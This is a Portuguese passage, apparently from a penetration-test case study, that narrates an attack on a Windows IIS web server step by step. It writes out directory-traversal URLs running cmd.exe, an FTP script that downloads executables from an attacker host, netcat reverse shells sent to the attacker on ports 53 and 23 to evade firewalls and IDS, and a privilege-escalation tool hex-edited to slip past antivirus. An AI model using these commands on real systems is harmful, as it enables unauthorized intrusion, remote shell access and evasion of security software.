arquivo texto do script sao mostrados a seguir:http://www.vitima.com/..%c%pc../winnt/system32/cmd.exe?/c+echo+open+ftp.intruder.com+ >>ftp.txthttp://www.vitima.com/..%c%pc../winnt/system32/cmd.exe?/c+echo+username>>ftp.txthttp://www.vitima.com/..%c%pc../winnt/system32/cmd.exe?/c+echo+password>>ftp.txthttp://www.vitima.com/..%c%pc../winnt/system32/cmd.exe?/c+echo+prompt>>ftp.txthttp://www.vitima.com/..%c%pc../winnt/system32/cmd.exe?/c+echo+bin>>ftp.txthttp://www.vitima.com/..%c%pc../winnt/system32/cmd.exe?/c+echo+mget+*.exe>>ftp.txthttp://www.vitima.com/..%c%pc../winnt/system32/cmd.exe?/c+echo+bye>>ftp.txtO conteudo do script foi verificado atraves do navegador, e depois a secao FTP foi estabelecida, assumindo-se que o firewall permitiria aquele trafego. O script foi executado com o seguinte comando:http://www.vitima.com/..%c%pc../winnt/system32/cmd.exe?/c+ftp+-s:ftp.txtDepois foi usado o NetCat para obter um prompt de comandos no servidor. O NetCat e uma ferramenta de rede muito util, que pode ser utilizada para permitir a comunicacao via uma porta TCP qualquer e criar um shell prompt.O NetCat foi executado no laptop no modo de escuta(listening) na porta 53, tambem usada para consultas DNS e normalmente permitida pelo firewall. Depois foi executado o NetCat no servidor para disponibilizar o shell prompt no laptop, tudo atraves do navegador. Numa janela DOS do laptop foi dado o seguinte comando:Nc l p 53E no navegador:http://www.vitima.com/..%c%pc../winnt/system32/cmd.exe?/c+nc+-d+-e+cmd.exe+MeuEnderecoIP+53Entao a janela do laptop mostrou:Microsoft(R) Windows NT(TM)(C) Coypright 1985-1996 Microsoft Corp.C:\Inetpub\wwwroot\scripts>_Pronto, ganhamos um prompt. Utilizou-se o comando whoami para identificar qual era o usuario logado na maquina. Infelizmente era o INET_IUSR/Anonymous, a conta de usuario anonimo da Internet e nao a de administrador. Isso significa que as informacoes importantes nao poderao ser acessadas.E necessario, alem do conhecimento sobre protocolos e sistemas operacionais, entendimento sobre o funcionamento dos softwares que explorarao as falhas encontradas. Aqui o consultor usou um servidor FTP em seu laptop e um cliente no servidor para baixar as ferramentas para o alvo. O NetCat serviu para abrir uma conexao inicial. A porta de comunicacao foi acertadamente escolhida, as requisicoes DNS, necessarias ao funcionamento do servidor, nao despertavam suspeitas e podiam passar desapercebidas pelo Firewall ou IDS(Intrusion Detection System Sistema de Deteccao de Intrusao).d) Efetuando o AtaqueEntao o consultor tentou iniciar uma conexao TELNET usando uma outra porta com a ferramenta hk.exe. Esta ferramenta explora uma vulnerabilidade associada a uma chamada nao documentada de uma API que permite a uma thread obter um token(um atributo de seguranca que define o nivel o nivel em que uma thread pode rodar) de uma thread do kernel. Para usar esta ferramenta, digita-se hk seguido do comando que se deseja executar se tivesse o privilegio de administrador. O comando digitado foi:Hk nc e e cmd.exe MeuEnderecoIP 23O resultado foi a mensagem de Bad command or filename . Depois de algumas verificacoes, vimos que o arquivo hk.exe tinha sido movido para o diretorio C:\Program Files\Antivyrtec Associates\Antivirus\Quarantine\. O Antivirus havia identificado e capturado nosso aplicativo.Foi utilizado um editor hexa no arquivo hk.exe. Como este e um aplicativo compilado, qualquer modificacao poderia comprometer seu funcionamento. Dentro do codigo foi editada uma mensagem que dizia Your wish is my command master. Foi mudada esta mensagem para XXXX XXXX XX XXXXXXXX XXXXXX e renomeado este arquivo para hk2.exe. Depois de baixar este arquivo o antivirus nao o capturou.Dentro de uma nova janela DOS no laptop foi criada uma nova conexao com o seguinte comando:Nc l p 23E depois o comando:Hk2 nc d e cmd.exe MeuEnderecoIP 23Na conexao ativa no servidor Web foi mostrado:Hk2 nc d e cmd.exe MeuEnderecoIP 23Lsass pid & tid are: 50 - 53Lauching line was: nc d e cmd.exe MeuEnderecoIP 23XXXX XXXX XX